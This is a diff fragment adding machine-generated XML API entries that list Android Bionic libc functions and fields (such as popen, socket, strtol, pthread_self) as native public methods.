+ <method abstract="false" deprecated="not deprecated" final="true" name="acct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendto" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ttyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemp64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_nprocs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigblock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setitimer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_compress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strchrnul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_atexit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="signal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ffs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbtowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="alphasort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dn_expand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswlower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="preadv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="toupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcschr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strncat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mknod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_yield" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__p_class_syms" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setfsuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strcat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_adjtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_settype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="optreset" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalnum_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="listen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="perror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="stdout" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctype_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="popen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoull" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_get32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwarn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbstowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_parserr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_trylock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regcomp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsxfrm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfgetispeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_put16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pututline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setlogmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towlower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemp64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_self" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setbuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_trywait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__libc_current_sigrtmax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoul_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stpncpy_chk2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="realloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tdestroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nftw64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ppoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isinff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="munmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcslcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__gnu_basename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtok_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tolower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isinfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="islower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="funopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="munlockall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcasestr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalpha_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswblank" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="arc4random_uniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswblank_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="umount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mprotect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ispunct_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftruncate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="removexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utimensat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_getvalue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandirat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iscntrl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nquerydomain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfgetospeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="futimesat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="personality" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="qsort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="quick_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_ctype_" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="optarg" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="alarm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_network" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setrlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsxfrm_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pread_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="link" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="syscall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fallocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setlinebuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigpause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_put32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_ctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fileno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_memalign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setlocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtouq" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ptsname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoq" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swapon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="random" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtol_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rewinddir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getcpu" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsyslog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_set" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getmntent_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cmsg_nxthdr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_set_abort_message" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstold_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__assert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="linkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memmem" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__gnu_strerror_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lockf64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="socket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isfinite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="error_message_count" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="umount2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nmkquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbsnrtowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_skip" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_indextoname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctob" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoimax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pathconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="daemon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getdelim" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="localtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setprogname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswcntrl_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnormal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpucount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="flistxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="btowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="error" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fpurge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readahead" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_thread_atexit_impl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftruncate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setname_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="brk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lfind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memccpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="munlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfmakeraw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isprint_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="psignal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigfillset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getprogname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_fqname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_wait_any" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnormalf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openlog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_add_watch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_children" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setscope" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putwchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnormall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_Exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="kill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__write_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_toupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendmmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setreuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoumax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ttyname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
